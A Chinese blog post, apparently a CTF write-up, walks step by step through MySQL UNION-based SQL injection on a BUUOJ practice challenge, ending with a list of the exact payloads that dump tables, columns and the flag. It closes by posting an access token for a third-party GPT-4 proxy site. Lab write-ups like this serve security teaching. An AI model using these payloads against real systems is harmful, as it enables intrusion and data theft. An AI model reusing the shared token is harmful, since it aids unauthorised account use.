SQL注入

发布时间 2023-12-27 13:09:08作者: afafd324

需知
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表

数据库版本 information_schema 查询-version()
数据库用户 ROOT 型注入攻击-user()
当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
数据库名字-为后期猜解指定数据库下的表,列做准备-database()

SQL注入
先找注入点,看一url发现了id=1 有可控量 测试一下是字符型注入还是数字型注入

  1. 字符型注入
    id=1' order by 3 --+
    id=1' order by 4 --+

  2. 数字型注入
    id=1 order by 3
    id=1 order by 4
    测试类型
    如是字符型注入

    当3变成4时就会报错,同时这也证明字段数为三位

    如是数字类型不管怎么变换都不会报错

查数据库名
id=-1' union select 1,2,3 --+

可以看到屏幕上显示了2,3将database()与-version()替换掉。
id=-1' union select 1,database(),version() --+

从此可知MYSQL版本为5.0以上(可查询information_schema数据库名),数据库名叫note
查数据库表名
id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

此得2个表名可依次查看
fl4g表
id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

notes表
id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

从而可得到flag(等于爆破出了用户与密码)
id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

大概一个流程:
注入类型
字段数
数据库名
数据库表名
爆出用户与密码

大家可以到buuoj去练习这个SQL注入的题目
[第一章 web入门]SQL注入-11
答案:

  • id=1' order by 3 --+
  • id=1' order by 4 --+
  • id=-1' union select 1,database(),3 --+
  • id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  • id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
  • id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

注:以上全是个人见解如有错误请指出。在这里放个GPT4.0账户(不是gpt镜像)大家如果有什么不懂可以询问。访问网址https://chat1.zhile.io/auth/login将fk-igCXpSmZrZ3kcygOe_G1JuSmXFhlVbV-dgiUQg_AwaU粘贴到Access Token中即可询问。可以调用此模型,具有几百的次数。